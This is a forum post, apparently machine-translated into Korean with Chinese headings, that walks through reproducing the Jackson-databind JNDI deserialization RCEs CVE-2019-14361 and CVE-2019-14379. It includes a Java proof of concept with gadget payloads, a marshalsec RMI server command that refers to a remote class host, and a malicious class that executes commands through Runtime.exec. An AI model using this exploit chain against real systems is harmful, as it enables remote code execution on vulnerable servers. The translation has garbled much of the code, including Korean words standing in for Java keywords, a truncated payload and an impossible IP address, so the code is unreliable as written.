KoreanHackerTeam
Moderator
CVE-2019-14361 CVE-2019-14379漏洞复现
7 월 30 일 저녁에 추진력을 받았습니다. Jackson-Databind가 새로운 RCE를 발표했으며 일부 Bigwig는 새로운 사용 방법을 찾았다는 것을 알게되었습니다.漏洞分析
Jackson Developer의 문제에 따르면이 Jackson 취약점을 유발하려면 다음 요구 사항이 필요합니다.대상 응용 프로그램은 신뢰할 수없는 클라이언트가 전송하는 JSON 데이터를 수신합니다.
대상 응용 프로그램은 다형성 유형 처리 방법을 사용하여 java.lang.object 유형의 특성을 처리합니다.
이 취약점에는 많은 타사 항아리 패키지가 있습니다.
环境搭建
이 기사에 사용 된 타사 라이브러리는 다음과 같습니다.잭슨-공국 -2.9.8
잭슨-코어 -2.9.8
Jackson-Databind-2.9.8
ehcache-2.9.1
SLF4J-API-1.7.7
로그백 코어 -1.3.0- 알파 4
SLF4J-Simple-1.7.21
javax.transaction_1.0.0.0_1-1
http://www.mvnrepository.com으로 다운로드하십시오.
漏洞代码
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
com.fasterxml.jackson.databind.objectmapper 가져 오기;
com.fasterxml.jackson.databind.serializationfeature import;
Java.Lang.Exception 가져 오기;
공개 클래스 메인 {
public static void main (String [] args) {
System.out.println ( '매핑');
//더 높은 버전의 JDK에 제한이 있으며 com.sun.jndi.rmi.object.trusturlCodeBase의 값은 true로 설정해야하고 기본값은 False입니다.
System.setProperty ( 'com.sun.jndi.rmi.object.trusturlcodebase', 'true');
//CVE-2019-14361 페이로드
String jsonstr1='[\'ch.qos.logback.core.db.jndiconnectionsource \ ', {\'jndilocation \ ': \'rmi: //
//CVE-2019-14379 페이로드
문자열 jsonstr2='[\'net.sf.ehcache.transaction.manager.defaultTransactionManagerLookup \ ', {\'Properties \ ': {\'jndiname \ ': \'rmi: //127.0.1336010119/exportobject \ '}}}}.
ObjectMapper Mapper=새로운 ObjectMapper ();
mappper.enabledefaulttyping ();
mapper.configure (serializationfeature.fail_on_empty_beans, false);
System.out.println ( 'Serializing');
Object obj=null;
노력하다 {
//!-여기에 페이로드를 보관하십시오!
obj=mapper.readValue (jsonstr1, java.lang.object.class);
} catch (예외 e) {
e.printstacktrace ();
}
System.out.println ( 'Objectified');
노력하다 {
mappper.writevalueasstring (OBJ);
} catch (예외 e) {
e.printstacktrace ();
}
노력하다 {
System.out.println ( 'Stringified:' + mapper.writevalueasstring (OBJ));
} catch (예외 E)
{
e.printstacktrace ();
}
}
}
构建步骤
이 기사는 아이디어에 관한 프로젝트를 생성합니다새로운 Java Commandline 프로젝트를 만듭니다
위의 코드를 기본 기능으로 복사하십시오
빨간색 상자의 아이콘을 클릭하여 프로젝트 구조 설정을 입력하십시오.

다운로드 된 외부 라이브러리를 프로젝트로 가져옵니다
특정 가져 오기 단계는 내 기사를 참조하십시오. 나는 여기에서 자세히 설명하지 않을 것입니다. https://www.secquan.org/bugwarning/1069944
攻击流程
RMI 서비스를 켜십시오편의를 위해 RMI 및 LDAP 서비스를 신속하게 활성화 할 수있는 Marshalsec Artifact를 사용할 수 있습니다. 물론 소스 코드 패키지를 다운로드하여 Maven으로 컴파일해야합니다. 다운로드 링크 : https://github.com/mbechler/marshalsec. 로컬로 다운로드 한 후 MVN Clean Package -dskiptests로 컴파일 할 수 있습니다. 컴파일 결과는 다음과 같습니다.

RMI 서비스 켜기 :
1
Java -cp Marshalsec-0.0.3-SnapShot-all.jar Marshalsec.jndi.rmirefserver http://ip:8000/#ExportObject

참고 : # 악성 클래스의 클래스 이름을 채우면 나중에 URI를 자동으로 바인딩하고 RMI의 기본 포트 번호는 1099입니다.
ExportObject.java를 컴파일합니다
ExportObject.java 코드 컨텐츠는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
패키지 com.by.rmi;
import java.io.bufferedReader;
import java.io.inputStreamReader;
공개 클래스 ExportObject {
public exportobject ()는 예외를 던져 {
Process Proc=runtime.getRuntime (). exec ( 'Open /Applications/Calculator.app');
bufferedReader br=new bufferedReader (new inputStreamReader (proc.getInputStream ()));
StringBuffer sb=new StringBuffer ();
문자열 라인;
while ((line=br.readline ())!=null) {
sb.append (line) .append ( '\ n');
}
문자열 결과=sb.tostring ();
예외 e=새로운 예외 (결과);
e 던지기;
}
public static void main (string [] args)은 예외 {
ExportObject e=new ExportObject ();
}
}
참고 : 위의 코드의 기능은 Mac 플랫폼에서 계산기를 팝업하는 것입니다. 플랫폼을 변경하면 EXEC 기능의 내용을 직접 교체하십시오.
클래스 파일로 컴파일 :
Javac ExportObject.java
ExportObject.class 폴더 생성에서 Python2 -M SimpleHttpserver 8000을 실행하고 로컬로 HTTP 서비스를 시작하십시오.
CVE-2019-14361 测试
POC의 페이로드를 JSONST1로 교체하고 컴파일 및 실행하면 결과는 다음과 같습니다.
CVE-2019-14379 测试
POC의 페이로드를 JSONST2로 교체하고 컴파일 및 실행하면 결과는 다음과 같습니다.
이에 따라 RMI 서비스 작동의 스크린 샷은 다음과 같습니다.
